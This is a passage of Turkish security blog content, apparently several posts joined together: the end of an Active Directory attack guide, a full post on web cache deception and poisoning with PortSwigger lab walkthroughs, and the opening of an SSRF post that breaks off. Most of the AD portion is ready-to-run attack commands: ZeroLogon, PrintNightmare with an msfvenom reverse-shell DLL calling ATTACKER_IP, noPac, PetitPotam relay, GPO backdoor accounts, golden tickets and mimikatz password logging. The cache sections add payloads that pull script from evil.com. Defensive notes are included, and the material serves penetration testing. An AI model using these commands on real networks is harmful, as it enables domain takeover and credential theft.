Teknik: Netlogon protokolünün NetrServerAuthenticate3 fonksiyonundaki AES-CFB8 şifreleme hatası. IV olarak sıfır kullanıldığında, sıfır-dolu bir client challenge ile yaklaşık 1/256 olasılıkla komputasyon doğrulama atlayabilir. 2^32 deneme gerekir ama ortalama 256 denemede başarıya ulaşır.

Etki: Kimlik doğrulama olmadan DC'nin makine hesabı şifresini sıfırlama → domain ele geçirme.

# Güvenlik araştırması için — PoC (yetkili test)
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# DC makine hesabı boş şifre ile authenticate
python3 secretsdump.py -no-pass -just-dc corp.local/'DC01$'@10.10.10.10

# ÖNEMLI: Bu saldırı DC'nin şifresini sıfırlar ve domain çakılabilir
# MUTLAKA eski şifreyi geri yüklemelisiniz (impacket restorepassword.py)
python3 restorepassword.py corp.local/DC01@10.10.10.10 -target-ip 10.10.10.10 -hexpass ORIGINAL_HEX

Yama: MS20-073 — Ekim 2020'den itibaren zorunlu Netlogon güvenli kanal.

9.2 PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Teknik: Windows Print Spooler (spoolsv.exe) servisinin RpcAddPrinterDriverEx fonksiyonu, yetkisiz kullanıcıların uzaktan SYSTEM yetkileriyle DLL yüklemesine izin verir.

# Impacket — PrintNightmare exploit
python3 CVE-2021-1675.py corp.local/jdoe:'Password123'@10.10.10.10 '\\ATTACKER_IP\share\evil.dll'

# cube0x0 PoC (Windows'tan)
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DLL "\\ATTACKER_IP\share\evil.dll"

# Önce SMB share + DLL hazırla
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll > evil.dll
python3 -m impacket.smbserver share . -smb2support

Yama: MS21-034 + Print Spooler'ı gereksiz sistemlerde devre dışı bırakın.

9.3 noPac — sAMAccountName Spoofing (CVE-2021-42278 + CVE-2021-42287)

Teknik: İki CVE birleşimidir:

CVE-2021-42278: Makine hesabının sAMAccountName'i üzerinde $ son eki zorunlu değil — herhangi bir isim kullanılabilir.
CVE-2021-42287: TGT talebinde bulunan kullanıcı silinirse/yeniden adlandırılırsa KDC, DC hesabını bulup bilet üretir.

Sonuç: Makine hesabı oluşturun → sAMAccountName = DC adı → TGT isteyin → hesabı silin/yeniden adlandırın → KDC DC biletini verir → DCSync.

# noPac.py (tek araç, tüm adımları otomatikleştirir)
python3 noPac.py corp.local/jdoe:'Password123' -dc-ip 10.10.10.10 -dc-host DC01 -shell --impersonate administrator
python3 noPac.py corp.local/jdoe:'Password123' -dc-ip 10.10.10.10 -dc-host DC01 --dump --impersonate administrator

# Manuel adımlar
# 1. Makine hesabı oluştur (msDS-MachineAccountQuota >= 1)
python3 addcomputer.py corp.local/jdoe:'Password123' -method ldaps -computer-name 'ATTACK$' -computer-pass 'P@ss1234'
# 2. sAMAccountName'i DC adı ile aynı yap ($ olmadan)
python3 renameMachine.py corp.local/jdoe:'Password123' -current-name 'ATTACK$' -new-name 'DC01'
# 3. TGT iste
python3 getTGT.py corp.local/'DC01':'P@ss1234' -dc-ip 10.10.10.10
# 4. sAMAccountName'i değiştir (KDC DC01'i bulamaz → DC01$'a fallback)
python3 renameMachine.py corp.local/jdoe:'Password123' -current-name 'DC01' -new-name 'ATTACK2$'
# 5. DCSync
python3 secretsdump.py -k -no-pass DC01@10.10.10.10 -just-dc

Yama: MS21-071 — Kasım 2021. sAMAccountName'de $ zorunluluğu getirildi.

9.4 PetitPotam (CVE-2021-36942)

Teknik: MS-EFSR (Encrypting File System Remote) protokolünün EfsRpcOpenFileRaw fonksiyonu, hedef sunucuyu saldırgan UNC yoluna NTLM authenticate olmaya zorlar. Kimlik doğrulama gerektirmez.

# PetitPotam ile coercion
python3 PetitPotam.py ATTACKER_IP DC01_IP
python3 PetitPotam.py -u jdoe -p 'Password123' -d corp.local ATTACKER_IP DC01_IP  # auth

# ESC8 ile birleşim (en güçlü kombinasyon)
# Terminal 1: NTLM relay → ADCS
python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController

# Terminal 2: DC'yi coerce et
python3 PetitPotam.py ATTACKER_IP DC01_IP

# Terminal 3: Sertifikayı auth için kullan
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10

# Terminal 4: DCSync
python3 secretsdump.py -hashes :DC01_HASH 'corp.local/DC01$@10.10.10.10'

9.5 PrivExchange

Exchange makine hesabının domain kök nesnesi üzerinde WriteDACL hakkı vardır. Bu, Exchange sunucusunu bir hedefe kimlik doğrulamaya zorlamak ve bu kimlik bilgilerini relay ederek DCSync hakları kazanmakla sonuçlanır.

python3 privexchange.py -ah ATTACKER_IP exchange01.corp.local -u jdoe -p 'Password123' -d corp.local
# Parallel: ntlmrelayx ile relay
python3 ntlmrelayx.py -t ldap://DC01 --escalate-user jdoe

Bölüm 10: GPO Saldırıları

10.1 GPO Numaralandırma

# Tüm GPO'ları listele
Get-DomainGPO | select displayname, gpcfilesyspath, whenchanged

# Üzerinde kontrol sahibi olduğumuz GPO'lar
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {
  ($_.ActiveDirectoryRights -match "GenericAll|WriteDacl|CreateChild|WriteProperty") -and
  ($_.SecurityIdentifier -match "jdoe|IT_Helpdesk_SID")
}

# OU → GPO link analizi
Get-DomainOU -Properties gplink | Where-Object {$_.gplink -ne $null}

# Belirli bir OU'ya uygulanan GPO
Get-DomainGPO -ComputerIdentity WORKSTATION01

10.2 GPO Abuse ile Kod Çalıştırma

# SharpGPOAbuse — GPO üzerinde CreateChild/WriteProperty varsa
# Immediate Scheduled Task ekle
SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" --Author "NT AUTHORITY\SYSTEM" \
  --Command "cmd.exe" --Arguments "/c net localgroup administrators jdoe /add" \
  --GPOName "Default Domain Policy"

# Kullanıcı oturum betiği ekle
SharpGPOAbuse.exe --AddUserScript --ScriptName "payload.bat" \
  --ScriptContents "net user hacker P@ss123! /add && net localgroup administrators hacker /add" \
  --GPOName "Default Domain Policy"

# PowerView ile GPO link
New-GPO -Name "Malicious" | New-GPLink -Target "OU=Workstations,DC=corp,DC=local"

Bölüm 11: Forest Trust Saldırıları

11.1 Trust Numaralandırma

# Trust ilişkileri
Get-DomainTrust
nltest /domain_trusts /all_trusts
Get-ForestTrust

# Trust tipi: Bidirectional, External, Forest
# TrustAttributes: 0x04 = Forest, 0x08 = Cross-org, 0x20 = Treat as external

11.2 SID History Abuse (ExtraSIDs Saldırısı)

# Şart: Kaynak domain → hedef domain tek yönlü trust
# Hedef domain DA SID'ini ExtraSIDs'e ekle
Get-DomainSID -Domain targetdomain.local

# Mimikatz — inter-forest Golden Ticket
kerberos::golden /user:Administrator /domain:source.local /sid:S-1-5-21-SOURCE /sids:S-1-5-21-TARGET-519 /krbtgt:KRBTGT_HASH /ptt
# S-1-5-21-TARGET-519 = target domain Enterprise Admins RID

11.3 Trust Ticket

# Trust key hash al
lsadump::dcsync /domain:source.local /user:target$   # inter-forest trust account

# Trust ticket oluştur
kerberos::golden /user:Administrator /domain:source.local /sid:S-1-5-21-SOURCE \
  /sids:S-1-5-21-TARGET-519 /rc4:TRUST_KEY_HASH /service:krbtgt /target:targetdomain.local /ptt

Bölüm 12: Kalıcılık (Persistence)

12.1 DCSync Hakları

# Kendimize DCSync hakkı ver (WriteDACL gerekli)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity backdoor_user -Rights DCSync

12.2 AdminSDHolder Manipülasyonu

# AdminSDHolder'a GenericAll ekle → saatlik SDProp ile tüm korunan hesaplara yayılır
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
  -PrincipalIdentity backdoor_user -Rights All

12.3 DSRM Account

# DC'nin yerel admin şifresini sıfırla
# DsrmAdminLogonBehavior = 2 ile remote login aktif et

12.4 DCShadow

Sahte bir Domain Controller gibi davranarak AD'ye zararlı değişiklikler push etme.

# Terminal 1 (DC rolünü simüle et)
lsadump::dcshadow /object:krbtgt /attribute:unicodePwd /value:"P@ssw0rd!"

# Terminal 2 (değişikliği tetikle)
lsadump::dcshadow /push

12.5 Custom SSP (Security Support Provider)

# Mimikatz mimilib.dll'yi LSASS'a yükle → tüm şifreler loglanır
misc::memssp
# Loglar: C:\Windows\System32\kiwissp.log

Bölüm 13: Savunma ve Tespit

13.1 Kritik Windows Event ID'leri

Event ID	Açıklama	Saldırı
4768	Kerberos TGT isteği	AS-REP Roasting
4769	Kerberos TGS isteği	Kerberoasting
4770	Kerberos TGT yenileme	—
4672	Özel ayrıcalık oturumu	Admin login
4624	Başarılı login	PtH, PtT
4625	Başarısız login	Password spray
4776	NTLM doğrulama	NTLM relay
4662	Nesne üzerinde işlem	DCSync (DS-Replication)
4738	Kullanıcı hesabı değiştirildi	Attribute manipulation
4742	Bilgisayar hesabı değiştirildi	RBCD, noPac
5136	Dizin servisi nesnesi değiştirildi	Attribute değişikliği
4648	Explicit credential ile login	PtH

13.2 Tespit ve Önlemler

Kerberoasting Önlemleri:

Servis hesapları için Managed Service Account (MSA) veya Group Managed Service Account (gMSA) kullan
msDS-SupportedEncryptionTypes = 24 (yalnızca AES) zorla
25+ karakterlik servis hesabı şifreleri kullan
Honeypot SPN hesapları oluştur (uyarı tetikleyici)

AS-REP Roasting Önlemleri:

DONT_REQUIRE_PREAUTH flag'ini kaldır (gereksiz hesaplarda)
AES128/256 şifreleme zorunlu kıl

ACL Abuse Önlemleri:

BloodHound CE ile periyodik ACL taraması
Tier model uygula: Tier 0 (DC), Tier 1 (Sunucular), Tier 2 (Kullanıcılar)
AD ACL tarama: Get-DomainObjectAcl ile yazma haklarını denetle

Delegation Güvenliği:

Unconstrained delegation: kaldır veya Protected Users grubuna al
msDS-MachineAccountQuota = 0 yap (RBCD önlemi)
Constrained delegation yerine RBCD tercih et, minimize et

ADCS Güvenliği:

Certipy / Certify ile periyodik ESC taraması
EDITF_ATTRIBUTESUBJECTALTNAME2 kapatın
HTTP enrollment'ta EPA (Extended Protection for Authentication) zorunlu kılın
Şablon onay yöneticisi zorunluluğu getirin

DCSync Önlemleri:

DS-Replication-Get-Changes haklarını denetle (yalnızca DC'ler ve AD Connect)
4662 + 1131f6aa GUID kombinasyonunu izle

Genel Sertleştirme:

Protected Users grubunu kullan (Kerberos delegation, NTLM, WDigest devre dışı)
LAPS aktif et
SMB signing zorunlu kıl (NTLM relay önlemi)
LDAP signing + channel binding zorunlu kıl
Credential Guard etkinleştir (NTLM hash çalma önlemi)
PAM (Privileged Access Management) çözümü uygula
Print Spooler gereksiz sistemlerde devre dışı bırak

Araç Seti Özeti

Araç	Kaynak	Kategori
BloodHound / SharpHound	github.com/BloodHoundAD	Enumeration, path finding
PowerView (PowerSploit)	github.com/PowerShellMafia	AD query, ACL
Rubeus	github.com/GhostPack/Rubeus	Kerberos tickets
Mimikatz	github.com/gentilkiwi/mimikatz	Hash dump, ticket
Impacket	github.com/fortra/impacket	Protocol tools
CrackMapExec	github.com/byt3bl33d3r/CrackMapExec	SMB/LDAP/WinRM
Certipy	github.com/ly4k/Certipy	ADCS attacks
Whisker	github.com/eladshamir/Whisker	Shadow Credentials
PowerMad	github.com/Kevin-Robertson/Powermad	Machine accounts
PetitPotam	github.com/topotam/PetitPotam	NTLM coercion
Responder	github.com/lgandx/Responder	NTLM capture
noPac	github.com/cube0x0/noPac	CVE-2021-42278/42287

AD Pentest Kontrol Listesi

Keşif

[ ] Anonymous LDAP bind test edildi
[ ] Null session SMB test edildi
[ ] Domain controller, FQDN, IP tespiti yapıldı
[ ] SharpHound / BloodHound verisi toplandı
[ ] SPN'li hesaplar listelendi (Kerberoasting)
[ ] DONT_REQUIRE_PREAUTH hesaplar listelendi (AS-REP)
[ ] adminCount=1 hesaplar listelendi
[ ] msDS-MachineAccountQuota değeri kontrol edildi
[ ] LAPS aktif bilgisayarlar listelendi
[ ] GPO'lar ve bağlı OU'lar numaralandırıldı
[ ] Trust ilişkileri haritalandı

Kimlik Bilgisi Saldırıları

[ ] Password spray denenди (lockout hesaba katılarak)
[ ] AS-REP Roasting denenди
[ ] Kerberoasting denendi
[ ] Responder ile NTLM hash yakalandı
[ ] NTLM relay denenди (SMB signing kontrol)

ACL Analizi

[ ] BloodHound'da "Owned" kullanıcılardan outbound edge analizi
[ ] Tehlikeli ACE'ler (GenericAll, WriteDACL, WriteOwner) tespit edildi
[ ] Shadow Credentials (msDS-KeyCredentialLink) denenди
[ ] AdminSDHolder ACL incelendi
[ ] GPO write access kontrol edildi

Delegation

[ ] Unconstrained delegation bilgisayarları tespit edildi
[ ] Constrained delegation hesapları ve SPN listeleri incelendi
[ ] RBCD için GenericWrite hedefler tespit edildi

ADCS

[ ] ADCS varlığı tespit edildi
[ ] Certipy ile ESC1-ESC8 taraması yapıldı
[ ] HTTP enrollment NTLM denenді
[ ] EDITF_ATTRIBUTESUBJECTALTNAME2 flag kontrol edildi

Domain Ele Geçirme

[ ] DCSync hakları kontrol edildi
[ ] krbtgt hash alındı (DCSync, VSS veya ADCS ile)
[ ] Golden Ticket oluşturuldu ve doğrulandı
[ ] Kalıcılık mekanizması not edildi

CVE Kontrolleri

[ ] ZeroLogon (CVE-2020-1472) yama kontrolü
[ ] PrintNightmare (CVE-2021-1675) yama kontrolü
[ ] noPac (CVE-2021-42278/42287) yama kontrolü
[ ] PetitPotam (CVE-2021-36942) yama kontrolü

Sonuç

Active Directory, kurumsal ağların kalbidir. Yukarıda incelenen her saldırı vektörü, gerçek red team operasyonlarında defalarca kanıtlanmış tekniklerdir. Kerberoasting'den Shadow Credentials'a, ADCS ESC1'den RBCD'ye, ZeroLogon'dan noPac'e kadar her bir teknik, AD'nin tasarım kararlarından ya da yanlış yapılandırmalarından kaynaklanır.

Savunma perspektifinden bakıldığında: BloodHound'u defensif olarak kullanmak, tier model uygulamak, ADCS ortamını düzenli taramak ve kritik event ID'leri izlemek, saldırganın işini önemli ölçüde zorlaştırır.

Saldırı perspektifinden bakıldığında: Tek bir misconfigured ACE, Kerberoastable bir servis hesabı veya ESC1 açığı, domain'in tamamen ele geçirilmesiyle sonuçlanabilir.

Araştırmacılar: Will Schroeder (Rubeus, BloodHound) • Harmj0y (PowerView, BloodHound) • Andy Robbins (BloodHound) • Elad Shamir (Shadow Credentials) • Oliver Lyak (Certipy) • Simone Saviolo & Riccardo Ancarani (noPac) • Sébastien Thibault (PetitPotam) • Nikhil Mittal (PowerAD)
Konferanslar: DEF CON • Black Hat • BlueHat • SANS
Atıflar: SpecterOps "Certified Pre-Owned" (2021) • "Abusing Active Directory Permissions" (harmj0y) • Microsoft MSRC Advisory CVE-2020-1472 / CVE-2021-36942

Web Cache Deception & Poisoning: Cache ile Origin Arasındaki Boşluğu Silaha Dönüştürmek

2026-06-13T09:00:00Z

Giriş: Cache Bir Saldırı Yüzeyidir

Modern web mimarisinde içerik nadiren doğrudan sunucudan gelir. Araya bir cache katmanı girer: CDN (Cloudflare, Akamai, Fastly), ters proxy (Varnish, Nginx) ya da uygulama önbelleği. Amaç performanstır — statik dosyaları kullanıcıya en yakın noktada tutup origin'i yormamak.

Ama bu katmanın tek bir kritik kararı vardır: "Bu yanıtı saklayayım mı, saklamayayım mı?" ve "Hangi anahtar (cache key) altında saklayayım?"

Cache bu kararı verirken URL'yi, header'ları ve uzantıyı kendi mantığıyla yorumlar. Origin sunucu ise aynı isteği tamamen farklı bir mantıkla yorumlar. İşte bu iki yorum arasındaki boşluk, iki ayrı saldırı sınıfını doğurur:

Web Cache Deception (WCD): Cache'i kandırıp kurbanın özel bir sayfasını "statik dosya" sanarak saklamasını sağlarsın. Sonra aynı URL'yi sen istersin ve kurbanın verisini cache'ten çekersin.
Web Cache Poisoning: Cache'in paylaşılan bir girdisine zararlı bir yanıt enjekte edersin. O andan itibaren o sayfayı isteyen herkes senin payload'ını alır.

İlki veri sızdırma, ikincisi kitlesel XSS / yönlendirme. İkisinin de kökü aynı: cache ile origin aynı isteği farklı görür.

Bölüm 1 — Web Cache Deception

Tekniği 2017'de Omer Gil keşfetti ve PayPal üzerinde canlı olarak gösterdi: tek bir URL ile başka bir kullanıcının ad, e-posta ve hesap bilgilerini cache'ten okumak. 2020'de "Cached and Confused" (USENIX Security) araştırması bunun internet genelinde ne kadar yaygın olduğunu kanıtladı.

Temel mantık: uzantı yalanı

Çoğu CDN şu kuralla yapılandırılır: "Uzantısı .css, .js, .png, .ico, .woff olan her şey statiktir → cache'le." Bu kural pratiktir ama tehlikelidir, çünkü cache kararı yalnızca dosya adının sonuna bakar.

Şimdi şu isteği düşün:

GET /account/profile.css HTTP/1.1
Host: target.com
Cookie: session=<kurbanın-oturumu>

Cache'in gözünden: ".css ile bitiyor → statik → sakla."
Origin'in gözünden: Birçok framework (PHP PATH_INFO, ASP.NET, Ruby/Rails routing) /account/profile.css yolunu /account/profile route'una eşler ve .css son ekini yok sayar. Sonuç: kurbanın özel profil sayfası render edilir.

Origin yanıtı Cache-Control başlığı koymadan döndürürse, cache bu özel yanıtı /account/profile.css anahtarı altında saklar. Bu anahtar herkese açıktır.

Saldırı akışı

1. Saldırgan kurbana şu linki gönderir:
   https://target.com/account/profile.css

2. Kurban (giriş yapmış) linke tıklar.
   → Origin kurbanın profilini render eder
   → CDN ".css" gördüğü için yanıtı CACHE'LER

3. Saldırgan AYNI URL'yi ister (oturumsuz):
   GET /account/profile.css
   → CDN cache'ten HIT döner
   → Saldırgan kurbanın adını, e-postasını, API token'ını okur

Kritik nokta: 3. adımda saldırganın kurbanın çerezine ihtiyacı yoktur. Veri zaten paylaşılan cache'e düşmüştür.

Uzantı engellenmişse: path confusion

Origin bazen .css son ekini route'a bağlamaz (404 verir). O zaman saldırgan path confusion varyantlarına geçer. Amaç: cache'in "statik uzantı" gördüğü ama origin'in son eki yok saydığı bir URL kurmak.

Teknik	Payload	Origin'in yorumu
Path parameter	`/account/profile;x.css`	`;` ayraçtır → `/account/profile`
Encoded newline	`/account/profile%0Ax.css`	`%0A`'da durur → `/account/profile`
Encoded slash	`/account/profile%2Fx.css`	cache farklı decode eder
Sahte segment	`/account/profile/x.css`	route fazla segmenti yok sayar
Encoded `?` / `#`	`/account/profile%23x.css`	origin parça/sorgu sanır

2024'te Martin Doyhenard'ın PortSwigger araştırması ("Gotta Cache 'em all") bu varyantları sistematik hale getirdi: cache ile origin'in ;, %2F, %00, \ gibi ayraçları (delimiter) farklı işlemesi, neredeyse her CDN+framework kombinasyonunda bir tutarsızlık bırakıyor.

Gerçek dünya: ChatGPT ve diğerleri

2024'te araştırmacılar ChatGPT'de bir WCD varyantı raporladı: belirli bir path-confusion payload'ı ile kullanıcıya ait hassas bir yanıtın cache'lenebildiği gösterildi. Aynı yıl birçok SaaS platformunda benzer bulgular çıktı. Omer Gil'in 2017'deki PayPal demosundan beri kalıp değişmedi — değişen tek şey, CDN'lerin yaygınlaşmasıyla saldırı yüzeyinin büyümesi.

Bölüm 2 — Web Cache Poisoning

Madalyonun diğer yüzü. WCD veri okur; poisoning veri yazar. James Kettle'ın 2018'deki "Practical Web Cache Poisoning" araştırması bu sınıfı tanımladı.

Keyed vs Unkeyed girdiler

Cache, iki isteğin "aynı" olup olmadığına cache key ile karar verir. Anahtar genelde şunlardan oluşur:

Keyed (anahtarın parçası): Host header + URL path (+ bazen query string)
Unkeyed (anahtara dahil değil): Diğer her şey — User-Agent, X-Forwarded-Host, X-Forwarded-Scheme, Cookie (çoğu zaman) vb.

Sorun şu: Bir girdi unkeyed ise cache onu görmezden gelir — ama uygulama onu kullanıp yanıta yansıtabilir. O zaman:

Aynı keyed kısma (Host + /) sahip iki istek, farklı unkeyed header'lara rağmen tek bir cache girdisine çöker. Saldırgan bu girdinin gövdesini kontrol edebilir.

Klasik örnek: X-Forwarded-Host yansıması

Birçok uygulama mutlak URL üretirken X-Forwarded-Host header'ına güvenir:

<!-- Sunucu yanıtı, X-Forwarded-Host'tan üretiliyor -->
<script src="//{{ x_forwarded_host }}/static/app.js"></script>

Saldırı:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

Yanıt şu olur:

<script src="//evil.com/static/app.js"></script>

Bu header unkeyed olduğundan cache, yanıtı target.com/ anahtarıyla saklar. Bundan sonra / adresine giren her ziyaretçi evil.com/static/app.js'i çalıştırır → kitlesel stored-XSS.

Poisoning'i tetikleyen yaygın vektörler

X-Forwarded-Host, X-Host, X-Forwarded-Scheme → mutlak URL / yönlendirme manipülasyonu
Unkeyed query parametreleri (utm_*, ?cb=) → reflected XSS gadget'ı cache'leme
X-Forwarded-Scheme: http → sonsuz yönlendirme döngüsü ya da downgrade
Cache key normalization farkları: cache /'i /index.html'e normalize ederken origin etmiyorsa
Fat GET / parameter cloaking: body veya çift parametre ile cache ve origin'i ayrıştırmak

DoS varyantı: Cache Poisoned Denial of Service (CPDoS)

Poisoning her zaman XSS olmak zorunda değil. Saldırgan, origin'in hata döndürmesine yol açan bir header (örn. aşırı uzun X-Oversized-Header ya da hatalı X-HTTP-Method-Override) gönderip cache'in bu 400/404/500 yanıtını saklamasını sağlayabilir. Sonuç: meşru kullanıcılar cache'ten hata sayfası alır — sayfa tamamen erişilemez hale gelir.

Tespit (Test Metodolojisi)

Her iki sınıfı da test ederken cache başlıklarını okumak şarttır:

X-Cache: HIT | MISS        → yanıt cache'ten mi geldi?
Age: 42                    → cache girdisinin yaşı (HIT göstergesi)
Cache-Control: ...         → origin ne demek istemiş?
CF-Cache-Status: HIT       → Cloudflare'a özgü

WCD testi:

1. Giriş yapmış oturumla iste:  /account/profile.css
2. Yanıtta özel veri var mı + X-Cache: MISS / sonra HIT?
3. Oturumsuz (incognito) AYNI URL'yi iste
4. Aynı özel veri geliyorsa → DECEPTION doğrulandı

Poisoning testi:

1. GET / + X-Forwarded-Host: canary.attacker.com
2. Yanıtta "canary.attacker.com" yansıyor mu?
3. Aynı URL'yi header'sız iste → canary hâlâ var mı (HIT)?
4. Varsa → POISONING doğrulandı (önce zararsız canary ile kanıtla)

Etik uyarı: Poisoning testleri paylaşılan bir cache'i kirletir ve gerçek kullanıcıları etkileyebilir. Yalnızca yetkili olduğun kapsamda, izole bir cache-buster query (?cb=rastgele) ile test et ki canlı girdileri bozmayasın.

Uygulamalı Lab: Burp Suite ile Adım Adım

Teori yeterli — şimdi elimizi kirletelim. Aşağıdaki iki walkthrough'u güvenle tekrar üretebileceğin ortam PortSwigger Web Security Academy'dir (ücretsiz, izinli laboratuvarlar). İkisinde de döngü aynıdır; yalnızca enjeksiyon noktası değişir.

Lab A — Web Cache Poisoning (unkeyed header → XSS)

Hedef: Ana sayfayı zehirleyip ziyaret eden kurbanda alert(document.cookie) çalıştırmak.

Adım 1 — İsteği Repeater'a al.
Proxy geçmişinden ana sayfa isteğini (GET /) seç, sağ tık → Send to Repeater (Ctrl+R).

Adım 2 — Canary enjekte et + cache-buster ekle.
Kendi cache'ini zehirlememek için önce benzersiz bir query ekle, sonra şüpheli header'ı dene:

GET /?cb=tago123 HTTP/1.1
Host: 0aXX.web-security-academy.net
X-Forwarded-Host: c4n4ry.exploit-server.net

Adım 3 — Yanıtta yansımayı doğrula.
Response gövdesinde c4n4ry.exploit-server.net arıyoruz. Tipik olarak bir kaynak yüklemesine düşer:

<script src="//c4n4ry.exploit-server.net/resources/js/tracking.js"></script>

Yansıma varsa, girdi unkeyed ama trusted demektir → poisoning adayı.

Adım 4 — Cache'lendiğini doğrula.
Aynı isteği 2–3 kez gönder ve başlıklara bak:

X-Cache: miss   →  ilk istek (origin'den)
X-Cache: hit    →  ikinci istek (cache'ten) ✓
Age: 5          →  girdi 5 saniyedir cache'te

hit görüyorsan yanıt cache'leniyor demektir.

Adım 5 — Silahlandır.
Exploit server'da /resources/js/tracking.js yoluna payload'ı koy:

alert(document.cookie)

Şimdi cache-buster'ı kaldır (gerçek / anahtarını hedeflemek için) ve isteği hit alana kadar gönder:

GET / HTTP/1.1
Host: 0aXX.web-security-academy.net
X-Forwarded-Host: SENİN-exploit-server.net

Sonuç: Artık / cache girdisi senin script'ini taşıyor. Ana sayfayı açan her kullanıcı alert(document.cookie) çalıştırır. Lab "solved" olur.

Lab B — Web Cache Deception (kurbanın API key'ini çalmak)

Hedef: Cache'i kandırıp kurbanın /my-account sayfasını statik sanmasını sağlamak, ardından API key'i oturumsuz okumak.

Adım 1 — Hedefi keşfet.
Giriş yap, GET /my-account iste. Yanıt API key'i içeriyor ve Cache-Control: no-cache yok (önemli ipucu).

Adım 2 — Path confusion dene.

GET /my-account/wcd.css HTTP/1.1
Host: 0aXX.web-security-academy.net
Cookie: session=<senin-oturumun>

Origin /my-account route'una eşler, wcd.css son ekini yok sayar → yanıt yine API key'i içerir. Cache ise .css görür.

Adım 3 — Cache davranışını doğrula.
İki kez gönder: ilkinde X-Cache: miss, ikincisinde X-Cache: hit. Statik gibi cache'leniyor.

Adım 4 — Kurbana teslim et.
Exploit server'ın Deliver exploit to victim özelliğiyle kurbanı şu URL'ye yönlendir:

https://0aXX.web-security-academy.net/my-account/wcd.css

Kurban (giriş yapmış) bu linke girince, kurbanın API key'ini içeren yanıt aynı anahtar altında cache'lenir.

Adım 5 — Oturumsuz oku.
Aynı URL'yi çerezsiz iste (Repeater'da Cookie satırını sil):

GET /my-account/wcd.css HTTP/1.1
Host: 0aXX.web-security-academy.net

Cache hit döner ve yanıt kurbanın API key'ini içerir. Çal, lab'a gönder, "solved".

Param Miner ile otomasyon

Unkeyed header/parametreleri elle aramak yorucudur. Burp'ün Param Miner eklentisi (BApp Store) bunu otomatikleştirir:

1. Extensions → BApp Store → "Param Miner" install
2. İsteğe sağ tık → "Guess headers"
3. Param Miner binlerce header'ı dener, cache key'i etkilemeden
   yanıtı değiştiren (unkeyed-but-reflected) olanları raporlar
4. "Guess GET parameters" ile cloaking/cache-key parametrelerini bul

Param Miner ayrıca cache-buster'ı otomatik ekler — canlı cache'i bozmadan tarama yapar.

AccessContextFuzzer ile WCD'yi uçtan uca otomatikleştir

Param Miner poisoning tarafını (unkeyed header/parametre) tarar. Deception ve erişim-kontrolü tarafını ise bu işe özel olarak geliştirdiğim açık kaynak Burp eklentisiyle otomatikleştiriyorum: AccessContextFuzzer.

Bu yazıda Lab B'de elle yaptığımız path-confusion adımlarını (ayraç dene → uzantı ekle → cache davranışını doğrula → payload kur) eklenti dört aşamalı bir pipeline'a döküyor:

Delimiter Discovery — Sunucunun tanıdığı yol ayraçlarını (;, ?, #, %0A vb.) otomatik keşfeder.
Extension Testing — Keşfedilen ayraçlarla .js, .css, .png gibi statik uzantıları kombinleyerek cache davranışını tetikler.
Normalization Discrepancy — Origin ile cache katmanı arasındaki yol normalizasyon farkını tespit eder (yani bu yazının tüm kök nedenini).
Exploit Generation — Tüm bulguları birleştirip çalışan bir WCD payload'ı sentezler.

Eklenti ayrıca 40+ header spoofing tekniği (X-Forwarded-For, X-Real-IP…), her 50 istekte otomatik baseline yenileme, renk kodlu anomali tespiti ve test öncesi gerçek IP'ni doğrulayan bir OPSEC modülü içerir. Etkinliği resmi PortSwigger Web Security Academy laboratuvarlarında (URL rewrite bypass, Host header bypass, WCD) kanıtlanmıştır.

Kısacası: bu yazıdaki manuel Burp akışını üretim hattına çevirmek istersen, başlangıç noktası bu. Proje detayları · GitHub

Önlem (Savunma)

1. Uzantıya göre değil, allow-list'e göre cache'le.
".css ise sakla" yerine "yalnızca /assets/*, /static/* gibi bilinen statik yollar saklanır" kuralı kullan.

2. Dinamik yanıtlarda açık Cache-Control gönder.

Cache-Control: no-store, private

Kullanıcıya özel her yanıt bunu taşımalı. Cache'in "uzantı statik görünüyor" varsayımını kıran tek kesin yöntem budur.

3. Origin tarafında path normalizasyonunu sıkılaştır.
/account/profile.css gibi bir istek route'a uymuyorsa 404 dön; son eki sessizce yok sayma. ;, %2F, %0A, %00 ayraçlarını cache ile origin'in aynı yorumladığından emin ol.

4. Unkeyed girdileri ya anahtara ekle ya da kenarda temizle.
X-Forwarded-Host gibi header'ları origin'e ulaşmadan edge'de strip et; gerekiyorsa cache key'e dâhil et.

5. Host/X-Forwarded-* header'larını asla yanıta yansıtma.
Mutlak URL'leri sunucu konfigürasyonundan (SERVER_NAME / sabit base URL) üret, istek header'ından değil.

6. Vary başlığını doğru kullan.
Yanıt bir header'a göre değişiyorsa Vary: X-Forwarded-Host ile cache'e bunu anahtara katmasını söyle.

Sonuç

Web Cache Deception ve Poisoning, tek bir kök nedenin iki yüzüdür: cache ile origin aynı HTTP isteğini farklı yorumlar. Biri kurbanın özel verisini paylaşılan bir cache'e düşürür; diğeri zararlı bir yanıtı paylaşılan bir cache'e enjekte eder.

CDN'ler her web uygulamasının önünde dururken, bu tutarsızlıklar devasa bir saldırı yüzeyi yaratıyor. Savunmanın özü tek cümle: Cache, kullanıcıya özel hiçbir şeyi statik sanmamalı; origin de hiçbir kullanıcı girdisini yanıta körlemesine yansıtmamalı.

Teknik: Web Cache Deception (2017) + Practical Web Cache Poisoning (2018)
Araştırmacılar: Omer Gil • James Kettle • Martin Doyhenard
Konferans: Black Hat USA / DEF CON • PortSwigger Research
İlgili: Cache Poisoned DoS (CPDoS), Cache Key Confusion

SSRF'ten Cloud Kimlik Bilgisi Hırsızlığına: Metadata API Üzerinden AWS IAM Token Çalma

2026-05-28T10:00:00Z

Giriş: Bir SSRF, Tüm Altyapıyı Tehdit Eder

SSRF (Server-Side Request Forgery) — sunucu taraflı istek sahteciliği — uygulamanın saldırganın belirlediği bir URL'ye kendi adına HTTP isteği yapmasıdır. Klasik senaryoda bu, iç ağ taraması veya yetkisiz servislere erişim için kullanılır.

